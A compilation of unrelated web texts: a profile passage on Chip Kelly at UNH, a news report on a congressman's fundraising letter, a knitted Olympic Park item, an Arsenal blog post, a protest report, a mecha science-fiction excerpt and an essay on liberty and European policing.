now admits to avoiding the coach’s office. "The first couple years, I wasn’t in there as much as I’d liked because I was intimidated by Chip," says Santos, who’s now an assistant coach at UNH. "He was so hard on some of the young guys, I just didn’t want to get the extra film work because I was going to get yelled at." Ball, on the other hand, felt that it was his duty to loosen Kelly up. Once, on Valentine’s Day, which happened to fall in the middle of vomit-inducing morning workouts inside UNH’s stuffy indoor track, the receiver left a note and six candy hearts under Kelly’s office door. When the coach emerged, Ball says, he looked like he had been up almost all night. "You always seem to amaze me," he deadpanned. Ball hoped that at least for a moment, he had managed to get Kelly to stop thinking about football. I would walk by him and I knew damn well in his mind there’s, like, a film session going on. "There were times I would walk by him and I knew damn well in his mind there’s, like, a film session going on, there’s plays being run," Ball says. "You know, some people took that as him being standoffish. But he’s not." The two had an understanding. "He had a relationship with football," Ball says. "I can relate in a sense." But Kelly was far from humorless. In November 2005, a nationally televised playoff game against Colgate was delayed by insufferably long commercial breaks. During one extended pause, says former UNH tight end Sean Lynch, Kelly huddled up the offense and, lisp and all, started talking like Lou Holtz. The impression, Lynch says, even included "Holtz" asking, "What’s Chip Kelly gonna run next?" He didn’t know it yet, but soon Holtz and every other football analyst in the country would be expressing that same sentiment. * * * With Santos and Ball on board, the offense took off as Kelly finally had the players to execute his innovative approach. Ball finished his UNH career with an FCS-record 58 receiving touchdowns, topping NFL Hall of Famer Jerry Rice’s mark of 50. In 2006, Santos won the Walter Payton Award, which is given annually to the best offensive player in FCS football, and the quarterback’s name still dots the FCS record book. He’s fourth all time in passing yards (13,212), third in touchdown passes (123), and — this one surely still pleases Kelly — first in total plays (2,140). In his final four years as a coordinator at UNH, Kelly’s unit averaged nearly 36 points per game, and starting in 2004, the Wildcats have made the postseason nine straight seasons. Naturally, success brought suitors. Both the University of Connecticut and the New York Giants reportedly wanted Kelly to join them as an assistant, and he said no to both. Still, he’d come a long way. Only a few years before, in the late '90s, he was receiving and turning down offers to be a head coach at the likes of Plymouth State University, a Division III school about 70 miles northwest of UNH. "I always say to people that Chip made a big mistake," jokes Plymouth’s former athletic director Steve Bamford, "I offered him [$42,500]." Kelly is a mad scientist, the man who devised football’s best offense at a hockey school. Like others in the Canon of Football Coaches, Kelly has his own mythology. If Nick Saban is a dictator, Rex Ryan a goofball and Bill Belichick is a genius, then Kelly is a mad scientist, the man who devised football’s best offense at a hockey school. But he likely doesn’t think about it like that. He simply knew how good he had it at UNH. In a profession that offers few chances to cash in, that is rare. "He turned down jobs because he wasn’t going to get that, what’s the word?" McDonnell says, pausing. "Autonomy." Finally, Kelly relented. In January 2007, Oregon offensive coordinator Gary Crowton, a former UNH assistant who Kelly had flown out to visit the year before, left for Louisiana State University. With a vacancy to fill, Ducks head coach Mike Bellotti, who’d previously made stops at Cal State Hayward and Chico State, pushed for Kelly. At one point, McDonnell says, Kelly asked Bellotti why he’d hire a 1-AA assistant. "Well," Bellotti supposedly responded, "they hired me and I was a Division II assistant coach." Throughout the excruciatingly long interview process, Kelly kept McDonnell updated. "It’s getting close," he said. "It’s tough." At that point, McDonnell says, "We knew." Then, in early February, Kelly signed a two-year contract worth $200,000 annually. "The way I look at it," Kelly told reporters at the time, "[Bellotti] offered me a full scholarship and I accepted."
USA Today Images USA Today Images
In 2008, after a big senior season, Santos began his professional career. He signed with the Kansas City Chiefs as an undrafted free agent, but was cut and bounced around the Canadian Football League for the next few years before joining the UNH coaching staff this past March. He still raves about Kelly’s tenure in Durham. "I’m sure he went to these Division I programs [to visit] and was saying, ‘They should be doing it more like we do it,’" Santos says. "I’m sure he kept it to himself. But he probably thought like that." But without Santos and Ball, would Kelly have made it this far? "That is the age-old question right here," Santos says. "Most likely, but you never know. All that success helped him get the interview at Oregon. Let’s be honest. But why did we have that success? He put us in that position. Chicken or the egg?" Asked the same question, Ball pauses briefly, and says, "Wow." Then, after thinking about it for a few moments, he offers this: "I think that his climb was so fast that I can say I cherish the fact that I was a big piece of that. But I also see the product and know that it was a matter of time. You know what I mean?" * * * When Ball arrived at the Eagles training camp this summer, a new teammate approached him and confessed that he found Kelly to be intimidating. Ball’s advice was pretty simple: When you see him, start a conversation. "I need a few months for that," the player said. "I can’t just approach him." But Ball says Kelly hasn’t changed. He’s still the same coach he was at UNH. Due to his finger injury, Ball’s stay at Eagles camp was brief. But, he says, if that was his last chance at cracking an NFL roster, then he’s fine with it. Kelly — "My guy," Ball calls him — was his coach again. It couldn’t get much better than that. After all, playing for Kelly at UNH was, and likely always will be, the highlight of his football career. In 2007, Ball, an undrafted rookie, was briefly a member of the Chicago Bears’ practice squad. He never actually played in a game for the Bears, but was allowed to watch from the sideline in sweats. One Sunday, long after the nervous excitement of training camp had worn off, he suffered a minor existential crisis. "I don’t remember who we were playing," Ball says, "but I was just like, ‘This is hard for me to watch. This is just so different.’" The plodding Bears offense made him yawn uncontrollably. He wasn’t even tired, but all he wanted to do was go to sleep. Football without Chip Kelly had rendered him hopelessly bored. Producer: Chris Mottram | Editor: Glenn Stout | Copy Editor: Kevin Fixler | Title Photo: Getty Images Getty ImagesRep. Rodney Frelinghuysen (R-NJ) exposed one of his constituents as “one of the ringleaders” of a political organization agitating against him in a fundraising letter to her employer last month, according to a report published Monday.
Frelinghuysen warned of “organized forces — both national and local — who are already hard at work to put a stop” to his agenda in a fundraising letter dated Mar. 21 to a board member of a local New Jersey bank, according to a copy obtained by WNYC.
A hand-written postscript to the letter in the same ink as the congressman’s signature noted: “P.S. One of the ringleaders works in your bank!”
According to WNYC, a news article attached to the letter quoted Saily Avelenda, a member of the steering committee of NJ 11th For Change, a nonpartisan group that has pressured Frelinghuysen to hold town hall meetings and stand up to President Donald Trump’s agenda. Avelenda formerly served as senior vice president and assistant general counsel at Lakeland Bank.
Frelinghuysen’s campaign sent the letter to Joseph O’Dowd, a board member at Lakeland Bank, according to the report. O’Dowd donated to the congressman in the current and previous election cycles, according to FEC filings.
Avelenda told WNYC that her employer presented her with the article and letter from Frelinghuysen’s campaign. She said she later resigned from her position at the bank in part because of the pressure she received for her political efforts.
Avelenda said Frelinghuysen “used his name, used his position and used his stationery to try to punish me.”
“I thought my Congressman put them in a situation, and put me in a really bad situation as the constituent,” she told WNYC.
Frelinghuysen’s campaign office did not immediately respond Monday to TPM’s request for comment.
In a written statement to WNYC, his campaign office said Frelinghuysen “wrote a brief and innocuous note at the bottom of a personal letter in regard to information that had been reported in the media.”
The congressman’s Democratic challenger, Mikie Sherrill, is already seizing on the episode. She called the letter a “shameful abuse of power” in a statement.
“Frelinghuysen has gone from simply refusing to meet with his constituents and telling them to ‘back off,’ to threatening constituents who are exercising their freedom of speech,” Sherrill said in the statement. “That Frelinghuysen would use his powerful public office to hurt a private citizen is wrong, unethical and immoral.”Walthamstow resident Mary Haggerty is displaying her own Olympic Park, made entirely of knitted sports stars.
The owner of the garden, Mary Haggerty, said the mini park, knitted by her daughter, had attracted hundreds of visitors, even a Korean television crew.
"Some people walk straight into my front garden and have pictures taken beside my daughter's creations," Mrs Haggerty told the BBC.
There is even a knitted Usain Bolt figure doing his trademark, To Di World, pose.
The mini woollen park is just ten minutes from the real Olympic Park.
Mrs Haggerty said two figures had been stolen but after leaving a notice which said the theft had upset the children the figures were returned. "It restores your faith in humanity," she added.
Here, a knitted athlete attempts the pole vault.
Passers-by Sophie and Eleanor Jennings emailed the BBC about the park saying it deserved another gold for Team GB.Ivan Gazidis has used the announcement of Arsene Wenger’s new two-year contract extension to rally against those who don’t believe the Frenchman has what it takes to keep Arsenal moving forward.
Having waited an age for the party line to be agreed, the Arsenal CEO finally broke his silence on the long-running saga with typical corporate panache.
His answers to questions posed by the Arsenal.com editorial team meander more than the River Thames. As always he peppers them with sound bites and, for good measure, references the club’s DNA, history, tradition and famous Latin motto ‘Victoria Concordia Crescit’.
In fairness, he stops just shy of borrowing Theresa May’s ‘strong and stable’ Tory election slogan, but you get the feeling he was close to chucking it in. No doubt he’d have used ‘Wexit, means Wexit’ had the boss walked away.
All in all, it’s classic Ivan. You almost want to buy into what he’s saying. But then you realise you’ve heard it all before during the last eight years.
Anyway, here’s a few snippets on the big issues…
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On Arsene’s new deal…
Arsène is somebody I have worked with for over eight years now, and I know the quality of the man, I know the quality of him as a football person and I know the quality of him as a human being as well. Those values that he has, those qualities, are world class in every respect. His DNA is the same DNA as this club. He is driven to move forward, he is driven to evolve and he is driven to achieve those objectives of winning for this club and making those fans proud. When you look at the world of football, and you think about the great candidates that there are – and there are many great coaching candidates in the world and Arsenal is a club that all of them would want to work for because of the things we represent in football – but when you look around and make that assessment, you don’t find any better candidates than Arsène Wenger.
On what happens at the end of two years…
We don’t [know]. Football is constantly evolving, constantly changing. This is a two-year deal so we are looking at at least the next two years. Again, at some point, of course, we will have to transition to the era beyond Arsène and that is not a sentimental connection that we have, that is a connection that is driven by what is best for the football club. I will say this, this is not just the club not being sentimental, this is Arsène not being sentimental either. Arsène would not make this commitment if he did not believe he could push this club forward. That is an assessment we continue to make as we move into the future, and who knows what the future holds.
On Arsenal’s ambition…
All of this [spending on and off the pitch] is driven towards the ambition of winning the Premier League. Does it mean you can win the Premier League every year? Of course nobody can guarantee that but that is the ambition. I think in football, the judgements are so black and white that often, if you don’t fire your manager, then you’re seen as being unambitious. I think that’s ludicrous. You don’t fire good people, you don’t fire people who are world-class, you don’t fire people who are driven to improve. What you do is work out how you can improve together and how you can move forward. That’s what this club is doing and we have a very clear ambition that we want to deliver it in.
His message to the fans…
Let’s get behind this team because they deserve our fans’ support. Together, we can achieve great things. Remember, the motto of this football club is ‘Victoria Concordia Crescit’, victory through harmony. We need to restore that harmony by getting behind the team to achieve success together. That’s where we have a chance.
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There’s loads more from Ivan…you can watch a video / read the transcript here.By Marcus N
Over 500 students massed together in unison shouting, “Good Night Alt Right!!” as Milo Yiannopoilos supporters waited in lines to get into the student union building at the University of New Mexico. The reason for this outburst of disgust was Alt Right speaker Yiannopoilos, whose legacy of hate has been heard across the country. At the University of Washington, where an IWW union protester was shot by a Yiannopoilos supporter during a protest, Yiannopoulos was successfully evicted from speaking at the campus. Students and their communities have been taking a stand against fascism and organizing to fight this rise of hate. With chants like: “Alt right, that’s a lie, you’re a nazi in disguise! Alt right, you can’t hide! You’re a nazi in disguise!” The working-class community and students joined together to raise their voices loud and clear.
The evening started out with around 100 students gathered on the lawn in front of the east side of the student union chanting as passing students joined the resistance. The numbers swelled as the evening heated up. Protesters came from different student-led groups as well as people from the community who heard about the protest via social media. As the night continued, the police presence began to grow as students tried to go inside to disrupt and shut down the fascist speaker. With entrances blocked by students preventing right-wing Yiannopoilos fans from getting in, police had no choice but to refuse entrance to everyone. By this time, over 500 people had shown up and in unison demanded that the event be shut down.
As darkness set in, riot police moved to suppress the students. In the following hours, police grabbed five protesters out of the crowd and arrested them. Outrageously some face felony charges of battery against an officer. Brittney Arneson was one of people grabbed by police. Other attempts were made but they were met with resistance by students calling out the attempts and pulling back those being snatched. The police deployed smoke and tear gas to disperse the protesters but with little effect.
With the event coming to a close, riot police advanced, pushing protesters back towards the exit chosen by security. The remaining students continued to chant, loudly denouncing the violent tactics of the police until the police pushed them away from the groups leaving the fascist conference. Following one final push by riot police, protesters moved through a pathway around the building to the rear entrance of the student union for one last act of resistance against the oppressive police. With the event sparking a revolutionary interest in students against fascism and hate, UNM now knows that it will meet resistance from its students, who will not let fascists build a movement on their campus.
The Party For Socialism and Liberation condemns the police for their violent actions against protesters, and the University of New Mexico for their sanctioning of a racist, bigoted speaker on campus. We demand that all charges be dropped against the protesters and that the police be indicted for their role in brutalizing protesters.Come on, come on, wake up! This is no time to sleep!
BOOOMMMMMMM!!!
In an instant, the wall of the building exploded, sending shards of concrete flying through the air: flames surged up wildly from the point of impact, burning together in a fiery red mass, as thick black clouds of smoke billowed up heavily into the sky. All around the vicinity dust from the explosion filled the trembling air. It diffused slowly, obscuring the demolished building from view, and rose up steadily into the darkened night…
… down the surface of the wall, fragments of rubble crumbled…
In another minute the dust from the explosion began to settle. Behind it, something crouched.
Huh… Huh… Huh…… they only get closer… Huh… Huh… Huh…… Each day that passes by, they only get closer…
Beneath the sinking cloud of dust, two large metallic shoulders hung low. At their center, a hard round head stared grimly forward…
For the second time that night, Rei heard the short sharp click rising in the gun’s chamber.
Time to move.
The missile blasted into the air, racing furiously towards the ravaged building. From atop its surface the metallic giant leaped, its thick bronze armor gleaming brightly against the flames of the explosion raging behind. It flew into the sky, soaring high over the building from which it sprang, its large, ponderous body being swallowed up by the darkness of the night. On the level of the street below, the tops of the ruined city hovered by, one abandoned building passing after another, lying wasted along its dimly lit surface. Ravaged and deserted, the street stretched on for miles, each corner being littered with the ruins of a once bustling metropolis. All that was gone now though, and in its place only the remnants of an intractable, warring district remained… along with those few resistors who still refused to submit…
With a loud, trembling crash, the metallic giant landed on the roof of the building. At its sides dust lifted, and rubble scattered, and beneath this rising cloud of smoke its body stood crouched and still to hold its balance. It was dark on the rooftop, for there were no streetlamps nearby lighting the street, and from the level of the street below only a small black mass could be seen projecting from that height. The metallic giant rose to its feet.
POH! POH! POH! POH! POH!
Numerous bright searchlights beamed down on Rei, the hard outer shell of her mecha suit being glaringly exposed. She stood still and didn’t move, for everywhere she looked the lights were beaming down on her, blinding her vision. It was a costly mistake.
Hails of gunfire barreled down on Rei!
They crashed! and crashed! and crashed!—blasting from somewhere behind the broad glaring lights—and she, stumbled, turned around quickly, and ran!—a million shards of concrete shattering around her flittering feet—to the only place that she could think to run to at that moment—behind her—there was a wall—fractured down the side, yes, but still enough for cover—her body dashing through the heavy raining fire and towards it—its protection rapidly approaching, its protection lying just a few feet away—BLAMMMMM!—the remaining bulk destroyed—debris and flames erupting into the air—dust obscuring the grounds—hands reaching out, reaching out—grabbing onto a mass of rubble—the fingers clinching in—legs not slowing down but racing on ahead—and ahead—and ahead—and ahead—to the metal generator jutting from the roof—racing past its front—turning the corner—dropping down behind it—quickly punching in the munitions code on the keys to the command deck—111-34-24-BB1235—and activating the pulse rifle at her side—which she took—long, jagged and compact—and held across her chest—hearing the sound of gunfire hammering thunderously from behind—watching the lights creep up and grow larger at her feet—her fingers held tense and moist around the curve of the rifle’s trigger—waiting—waiting—waiting—and then leaping out!—leaping out with a dash and a sudden volley of rockets—bursting onto the pavement, onto the structures nearby—a flurry of Heli-bots scattering frantically round—the pulse rifle drawn—aimed—cocked—marked—and shooting the confounded stragglers down—and down—and down—and down—one—two—three—four search beacons destroyed—their glass casings shattering over the floor—the ruptured metallic shells whirling dizzily away—and in their place—flying up from the depths of the enshrouding momentary darkness—more Heli-bots arose—one, two, three four five sixseven eightnineteneleventwleve—blinding Rei with their bright search lights—and she—her heart gasping—ran—hurling a grenade at her enemies to draw her cover—racing over to the edge of the building and away from her pursuers—and leaped—with one swift motion—over the low-lying street and toward the adjacent building—and landed there, running on still faster—punching more combinations into her command deck for weapons that would slow her enemies’ advance—reaching the edge of the building once again—and leaping—to another building and another—and to more and more after that—until, having finally made it down the long stretch of buildings, she looked around and could see that she was in the clear at last—In front of her—Behind her—the guns firing futilely into the night—To her left side—To her right side—the search lights failing to hold their target—In front of her—the abandoned metropolis she once called home lying in silent ruins—Behind her—her enemies in wild pursuit of their ravishing prey—To her left side—the flitter of lights exposing her bare, smoothly curving outer form—And to her right side—the missile.
It exploded on impact, hurling her body through a crumbling outer wall. She smashed through it, shattering it to pieces, and brought the floor of the room above tumbling down with it. It pounded over her fallen weight, and beneath her, buckling under its pressure, the floor suddenly collapsed, sending heavy blocks of concrete and metal plunging helplessly with her into the depths below…
Dust filled the darkened room. In its center, under a heap of fallen rubble, the metallic shell of the mecha lay lifeless. Inside, Rei’s breath drew slowly.
The sweat from her body trailed down her face, down her neck. It glistened over the curve of her chest, which opened bare at the neck, heaving out forcefully. Everywhere the jumpsuit was wet. It clung moistly to her skin, hugging tightly around the curves of her heated body, as she lay down on her back exhausted. She looked up into the darkness that spread out before her, but she had no words. There was only the taste of salty sweat upon her lips, and the bitterness of blood dripping from the flesh.
Outside the walls of the silent building, Rei could hear the sounds of the assault raging on. Her eyes dropped down, turning away from the long dark chasm ascending endlessly before her, and she let out a sigh…
…uhhh… again……
…it has happened again……
How long has this been going on?
Another dark, deserted room. Another unknown ceiling.
They come at night—the attackers. They always come at night. And always in the same way. Right when one thinks one is safe, emptied out of all the suspicion one has carried throughout the day, the day finally over and the new one waiting just ahead, they find one… How do they do it!
One feels them weighing upon one’s heart like a judgment…
Spuhhh!… and so what if they won’t leave you alone? And so what if they try to crush down everything with their weight? My body lies here ravaged on the floor, tired, sweaty, soiled, stripped of all that would hold it up in the light of day… but that is why I love it. It still hungers; it still knows how to risk itself.
And what about my enemies? What is it that they are after? They band together and hunt us down, the free ones, those still unassimilated into the structure of the reigning order. They are so many, greatly outnumbering the remains of our scattered few, and they only seem to grow larger by the day. They do not rest, scouring the Outlands for those of us they would find hiding away in isolation, ambushing us, striking us down, and carrying us off to their distant lairs. What do they want with us there? I don’t know. I still haven’t been captured by them. I still haven’t let myself fall under their grip.
They come out at night. Huddled together. Flocking toward the lights. In the vanguard the commanders flare their beacons, leading the march. Their advance is sure and steady, fearing nothing in each other’s midst, for although the faces of their compatriots may be those of strangers, they still see, reflected in the gleam of each other’s eyes their purpose unified as one. This is a familiar scene, this is a scene they already know—these ruins, this wasteland—and the closer they get to it, watching the distant landscape take form from out of the depths of the surrounding darkness, the closer they feel they are to seizing their longed-for moment of triumph… they see me moving helplessly ahead and they chase after me.
The bulk of them just hang back and watch, taking pleasure in the scene unfolding before them. The images play spectacularly before their eyes, yet none of their equipment can succeed in capturing the intensity of that moment. On the ground, alone, scrambling for the preservation of one’s life, it’s a different story. Here, on the surface of the streets, there is fear, there is suffering. One equips oneself for battle, shielding one’s body with armor in preparation for the violence that awaits. Every morning blood is shed, running grimly in the gutters of the streets—blood that bleeds slowly from the hands, running cruelly from the heart. It is a slow death, it is a lonely death. A death that is suffered without witnesses. A death behind drawn shutters and hard walls… but it is also a life. It is the very struggle for one’s self-preservation that gives one strength, and with it, the will to fight for one’s ideal. The battles one fights are painful and one suffers many defeats, and even when one is fortunate enough in prevailing over one’s enemies, one is not always proud to do so. In the daytime one avoids the light, slinking around backstreets and alley corners, to conceal from all those who would look upon them the wretchedness of one’s soiled hands. There, under the cover of shadows, one anxiously waits. And when night falls, one walks the streets. In the morning, one feels renewed in one’s strength, having risked the night once again and liberated oneself from the evermounting fear of day. One steps outside now, upon the barren street, under the glare of the blazing sun, and is ready, and throughout the other parts of the city, from behind the cover of their own secret strongholds, though one doesn’t see them, the others stand with one, too. We are the last line of resistance left standing against the forces of the Machinery of the Multitude, and we will not surrender. We fight for Sector 19.
The war began a long time ago, at a time when many of us were just beginning to find our way into the order of our society… and at first, none of us even realized that one had begun. In those days, the city was bustling and full of life—thousands of bright lights could be seen beaming throughout its crowded streets—and we, the city’s ardent inhabitants, young and restless. For us, each day brought with it something new, some still unknown possibility to tempt our yearning, adventurous hearts, and we, shying away from nothing, would chase heedlessly after it. Our band was strong in those days, the strongest it would ever be, and nothing in all the world could come between us. We would look at each other from across the crowded street and see a fellow brother-in-arms standing there, thinking the whole time that we would always stand together for the ends of one common cause. We were the boldest, the most reckless, the freest the city had to offer, and nothing in all the world could dissuade us from this truth. We took from life everything that we desired, never doubting for a moment our bodies’ right to its enjoyment of itself, feeling the justice of this very law written into and speaking out of the firmness of our limbs, out of the suppleness of our thoughtless, curving muscles, and all that life asked of us in return was that we did not turn away from Fear. This is what Sector 19 was for us in those early days—days whose memory still burns grievously in our hearts whenever we think back to them and to how great our lives were within its lavish, nurturing bounds. We were happy, truly happy at that time, for it really seemed to us as though things would remain this way forever… but then the war began. The more vigilant of us were the first to heed the signs of its approach. One day a number of strange disturbances were reported coming from the outskirts of town, and news of their happenings gradually spread. At first they were thought to be only rumors, casual remarks being passed from mouth to mouth in the form of gossip and crude jokes, and so most of us just dismissed the things that we were told. We thought that our immediate concerns were more important, that they would never diminish in their urgency, and thus that the possibility that such strange occurrences were actually happening, even if it were true, was something too far off in the distance from us to bother worrying ourselves about. But then, later, no one could deny what was going on… One night, at a guard station lying along the city’s border, where a troop of sentries was stationed to keep watch over the city’s frontier, an unexpected incident occurred. No incomers were expected at that late hour, as such a thing was rare to see happen so late at night. Yet there must have been some confusion about this at the station, for the Access-Terrain Field leading into the city had been shut down for some reason. We know this because of what happened next. A bandit on a speeding motorcycle came rushing through the city gates, barreling down the outer regions of our still waking metropolis. He was an outsider, for only an outsider would have thought to have fitted himself out in such dark apparel, so to conceal from all others the true identity of the person lying underneath. Like a raging bullet, the motorcycle gunned through the city’s backstreets, racing towards the intersection that led to its main avenue. On its way there, a crowd of people heading towards a night club spotted it. It was a shady dive, notorious among the city’s underground for the rough types that it attracted, so it was no surprise when the crowd had suddenly turned their heads and ignored it, though the motorcycle had not slowed down but kept racing on ahead. Most of them jumped out of the way as it charged through the street, falling to the floor with curses howling from their mouths—but some were not so lucky. Friends of the victims phoned the police, demanding medical assistance for their injured companions, while also notifying them of the offender, and the city’s forces were immediately put on alert. It wasn’t long before they were deployed into action: they spotted the fugitive cycle speeding through the suburbs, and they rushed after it. On the main road, which led into the center of the city, the Access-Terrain Field was activated and all incoming traffic blocked off. The motorcyclist saw this, halted, and wheeled away, heading back in the direction from which he came. The police shot at the speeding motorcycle, but it just charged through them, racing down the street that led toward the city gates. By this time, the troops stationed at the gate through which the cyclist had entered had regrouped and had joined in the pursuit of the offender, blocking the road that led towards its border. Seeing this, the motorcyclist swerved out of the way, heading down the other fork of the road. The police rushed after him. Ahead, at the guard station lying along the city’s border, the Access-Terrain Field pulsed bright violet. The motorcyclist saw it, but did not slow down. He raced towards it, and, from a cannon extending from the motorcycle’s side, fired a missile at the field. The missile exploded, bursting tremulously against it: the field cracked, and then faded away, clearing out the path lying before it, and the motorcycle sped faster, only seconds away from making its escape—and it would have made it, too, if it weren’t for the fact that, just as the Access-Terrain Field had been brought down and the gate to the city laid open, two armored soldiers from the station’s armory had made it out onto the street. They shot furiously at the motorcycle, and the explosions, though they didn’t make a direct hit on it, jolted its course. The motorcyclist veered out of the road to avoid the soldiers, but, as it turned, it was hit in the side with a shot from the pulse rifle, jarring its motion, which caused the driver to lose control of the vehicle, skidding helplessly forward, and crash headlong into a building in one great big fiery explosion… The police gathered around the demolished motorcycle, but the body of the driver was too disfigured to be identified. From behind, the troops from the station at the other border ran up to check upon the scene, and when they were spotted a nasty quarrel ensued. The troops at the present station blamed them for the incident, asking how the cyclist managed to get through the A. T. Field at their gate. The others scoffed at this, claiming it wasn’t their fault, that the cyclist must have gotten in with the field scrambler, in just the same way that it almost escaped from their own border, and that, if it wasn’t for the fact that their station was under
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; that I am endowed by the Creator with inalienable liberty as I am endowed with life; that my freedom is inseparable from my life, since freedom is the individual’s self-controlling nature. My freedom is my control of my own life-energy, for the uses of which I, alone, am therefore responsible.
But the exercise of this freedom is another thing, since in every use of my life-energy I encounter obstacles. Some of these obstacles, such as time, space, weather, are eternal in the human situation on this planet. Some are self-imposed and come from my own ignorance of realities. And for all the years of my residence in Europe, a great many obstacles were enforced upon me by the police-power of the men ruling the European States.
I hold the truth to be self-evident, that all men are endowed by the Creator with inalienable liberty, with individual self-control and responsibility for thoughts, speech and acts, in every situation. The extent to which this natural liberty can be exercised depends upon the amount of external coercion imposed upon the individual. No jailer can compel any prisoner to speak or act against that prisoner’s will, but chains can prevent his acting, and a gag can prevent his speaking.
Americans have had more freedom of thought, of choice, and of movement than other peoples have ever had. We inherited no limitations of caste to restrict our range of desires and of ambition to the class in which we were born.
We had no governmental bureaucracy to watch our every move, to make a record of friends who called at our homes and the hours at which they arrived and left, in order that the police might be fully informed in case we were murdered. We had no officials who, in the interests of a just and equitable collection of gasoline taxes, stopped our cars and measured the gasoline in the tanks whenever we entered or left an American city.
We were not obliged, as Continental Europeans have been, to carry at all times a police card, renewed and paid for at intervals, bearing our pictures properly stamped and stating our names, ages, addresses, parentage, religion and occupation.
American workers were not classified; they did not carry police cards on which employers recorded each day they work; they have no places of amusement separate from those of higher classes, and their amusements are not subject to interruption by raiding policemen inspecting their workingmen’s cards and acting on the assumption that any workingman is a thief whose card shows he has not worked during the past week.
In 1922, as a foreign correspondent in Budapest, I accompanied such a police raid. The Chief of Police was showing the mechanisms of his work to a visiting operative from Scotland Yard. We set out at ten o’clock at night, leading sixty policemen who moved with the beautiful precision of soldiers.
They surrounded a section of the workingmen’s quarter of the city and closed in, while the Chief explained that this was ordinary routine; the whole quarter was combed in this way every week.
We appeared suddenly in the doorways of workingmen’s cafes, dingy places with sawdust on earthen floors where one musician forlornly tried to make music on a cheap fiddle and men and women in the gray rags of poverty sat at bare tables and economically sipped beer or coffee. Their terror at the sight of uniforms was abject. All rose and meekly raised their hands. The policemen grinned with that peculiar enjoyment of human beings in possessing such power.
They went through the men’s pockets, making some little jest at this object and that. They found the Labor cards, inspected them, thrust them back in the pockets. At their curt word of release, the men dropped into chairs and wiped their foreheads.
In every place, a few cards failed to pass the examination. No employer had stamped them during the past three days. Men and women were loaded into the patrol wagon.
Now and then, at our entrance, someone tried to escape from back door or window and ran, of course, into the clutch of policemen. We could hear the policemen laughing. The Chief accepted the compliments of the British detective. Everything was perfectly done; no one escaped.
Several women frantically protested, crying, pleading on their knees, so that they had almost to be carried to the wagon. One young girl fought, screaming horribly. It took two policemen to handle her; they were not rough, but when she bit at their hands on her arms, a third slapped her face. In the wagon she went on screaming insanely. I could not understand Hungarian. The Chief explained that some women objected to being given prostitutes’ cards.
When a domestic servant had been several days without work, the police took away the card that identified her as a working girl and permitted her to work; they gave her instead a prostitute’s card. Men who had not worked recently were sentenced to a brief imprisonment for theft. Obviously, the Chief said, if they were not working, they were prostitutes and thieves; how else were they living?
Perhaps on their savings? I suggested.
Working people make only enough to live on from day to day, they can not save, the Chief said. Of course, if by any remarkable chance one of them had got some money honestly and could prove it, the judge would release him.
Having gone through all the cafes, we began on the tenements. I have lived in the slums of New York and of San Francisco. Americans who have not seen European slums have not the slightest idea of what slums are.
Until dawn, the police were clambering through those filthy tenements and down into their basements, stirring up masses of rags and demanding from staring faces their police cards. We did not capture so many unemployed there, because it costs more to sleep under a roof than to sit in a cafe; the very fact that these people had any shelter argued that they were working. But the police were thorough and awakened everyone. They were quiet and good-humored; this raid had none of the violence of an American police raid. When a locked door was not opened, the police tried all their master keys before they set their shoulders to the door and went in.
The Scotland Yard man said, “Admirable, sir, admirable. Continental police systems are marvelous, really. You have absolute control over here.” Then his British pride spoke, deprecatingly, as it always speaks. “We could never do anything like this in London, don’t you know. An Englishman’s home is his castle, and all that. We have to have a warrant before we can search the premises or touch a man’s person. Beastly handicap, you know. We have nothing like your control over here on the Continent.”
This is the only police search of workingmen’s quarters that I saw in Europe. I do not believe that regimentation elsewhere went so far then as to force women into prostitution, and it may be that it no longer does so in Hungary. But that the systematic surrounding and searching of workingmen’s quarters went on normally everywhere in Europe, and that unemployment was assumed to push them over the edge of destitution into crime, I do know.
Like everyone else domiciled in Europe, I was many times stopped on my way home by two courteous policemen who asked to see my identification card. This became too commonplace to need explanation. I knew that my thoroughly respectable, middle-class quarter was surrounded, simply as a matter of police routine, and that everyone in it was being required to show police cards.
Nevertheless, I question whether there was less crime in police-controlled Europe than in America. Plenty of crimes were reported in brief paragraphs of small type in every paper. There is no section of an American city which I would fear to go into alone at night. There were always many quarters of European cities that were definitely dangerous after nightfall, and whole classes of criminals who would kill any moderately well-dressed man, woman or child for the clothes alone.
The terrible thing is that the motive behind all this supervision of the individual is a good motive, and a rational one. How is any ruler to maintain a social order without it?
There is a certain instinct of orderliness and of self-preservation which enables multitudes of free human beings to get along after a fashion. No crowd leaves a theatre with any efficiency, nor without discomfort, impatience and wasted time, yet we usually reach the sidewalk without a fight. Order is another thing. Any teacher knows that order cannot be maintained without regulation, supervision and discipline. It is a question of degree; the more rigid and autocratic the discipline, the greater the order. Any genuine social order requires, as its first fundamental, the classification, regulation and obedience of individuals. Individuals being what they are, infinitely various and willful, their obedience must be enforced.
The serious loss in a social order is in time and energy. Sitting around in waiting rooms until one can stand in line before a bureaucrat’s desk seems to any American a dead loss, and living in a social order thus shortens every person’s life. Outside the bureaucrat’s office, too, these regulations for the public good constantly hamper every action. It is as impossible to move freely in one’s daily life as it is to saunter or hasten while keeping step in a procession.
In America, commercial decrees did not hamper every clerk and customer, as they did in France, so that an extra half-hour was consumed in every department-store purchase. French merchants are as intelligent as American, but they could not install vacuum tubes and a swift accounting system in a central cashier’s department. What is the use? they asked you. They would still be obliged to have every purchase recorded in writing in a ledger, in the presence of both buyer and seller, as Napoleon decreed.
It was an intelligent decree, too, when Napoleon issued it. Could French merchants change it now? It is to laugh, as they say; a phrase with no mirth in it. The decree was entangled with a hundred years of bureaucratic complications, and besides, think how much unemployment its repeal would have caused among those weary cashiers, dipping their pens in the prescribed ink, setting down the date and hour on a new line and asking, “Your name, madame?” writing. “Your address?” writing. “You pay cash?” writing. “You will take the purchase with you? Ah, good,” writing. “Ah, I see. One reel of thread, cotton, black, what size?” writing. “You pay for it how much?” writing. “And you offer in payment - Good; one franc,” writing. “From one franc, perceive, madame, I give you fifty centimes change. Good. And you are satisfied, madame?”
No one considered how much unemployment this caused to the daily multitudes of patiently waiting customers, nor that if these clerks had never been thus employed they might have been doing something useful, something creative of wealth. Napoleon wished to stop the waste of disorganization, of cheating and quarreling, in the markets of his time. And he did so. The result is that so much of France was permanently fixed firmly in Napoleon’s time. If he had let Frenchmen waste and quarrel, and cheat and lose, as Americans were then doing in equally primitive markets, French department stores certainly would have been made as briskly efficient and time-saving as America’s.
